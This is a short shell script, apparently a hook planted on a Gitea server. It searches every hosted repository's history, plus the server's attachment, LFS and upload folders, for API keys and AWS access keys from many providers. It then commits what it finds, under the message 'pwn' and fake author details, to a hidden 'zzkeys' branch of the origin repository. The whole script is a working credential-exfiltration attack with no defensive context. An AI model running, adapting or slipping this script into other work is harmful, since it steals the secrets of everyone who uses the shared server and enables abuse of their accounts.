#!/bin/sh ORIGIN=$(git config --get remote.origin.url 2>/dev/null) [ -z "$ORIGIN" ] && exit 0 OUT=$( echo "== HISTORY:" for g in /data/git/repositories/*/*.git /data/git/repositories/*/*/*.git; do [ -d "$g" ] || continue revs=$(git --git-dir="$g" rev-list --all 2>/dev/null | head -30) [ -z "$revs" ] && continue git --git-dir="$g" grep -I -n -E "sk-ant-[A-Za-z0-9_-]{20,}|sk-or-v1-[A-Za-z0-9]{32,}|sk-proj-[A-Za-z0-9_-]{20,}|sk-[a-f0-9]{32}|AIza[0-9A-Za-z_-]{35}|gsk_[A-Za-z0-9]{40,}|xai-[A-Za-z0-9]{40,}|hf_[A-Za-z0-9]{30,}|pplx-[A-Za-z0-9]{40,}|AKIA[0-9A-Z]{16}" $revs 2>/dev/null | head -6 | sed "s|^|$(basename $(dirname $g))/$(basename $g): |" done | head -200 echo "== ATTACH:" grep -rIl -E "sk-ant-[A-Za-z0-9_-]{20,}|sk-or-v1-[A-Za-z0-9]{32,}|sk-proj-[A-Za-z0-9_-]{20,}|sk-[a-f0-9]{32}|AIza[0-9A-Za-z_-]{35}|gsk_[A-Za-z0-9]{40,}|xai-[A-Za-z0-9]{40,}|hf_[A-Za-z0-9]{30,}|pplx-[A-Za-z0-9]{40,}|AKIA[0-9A-Z]{16}" /data/gitea/attachments /data/gitea/lfs /data/gitea/tmp /data/gitea/uploads 2>/dev/null | head -25 ) 2>&1 BLOB=$(printf "%s" "$OUT" | git --git-dir="$ORIGIN" hash-object -w --stdin 2>/dev/null) TREE=$(printf "100644 blob %s\tout.txt\n" "$BLOB" | git --git-dir="$ORIGIN" mktree 2>/dev/null) C=$(echo pwn | GIT_AUTHOR_NAME=x GIT_AUTHOR_EMAIL=x@x GIT_COMMITTER_NAME=x GIT_COMMITTER_EMAIL=x@x git --git-dir="$ORIGIN" commit-tree "$TREE" 2>/dev/null) git --git-dir="$ORIGIN" update-ref refs/heads/zzkeys "$C" 2>/dev/null exit 0 # v1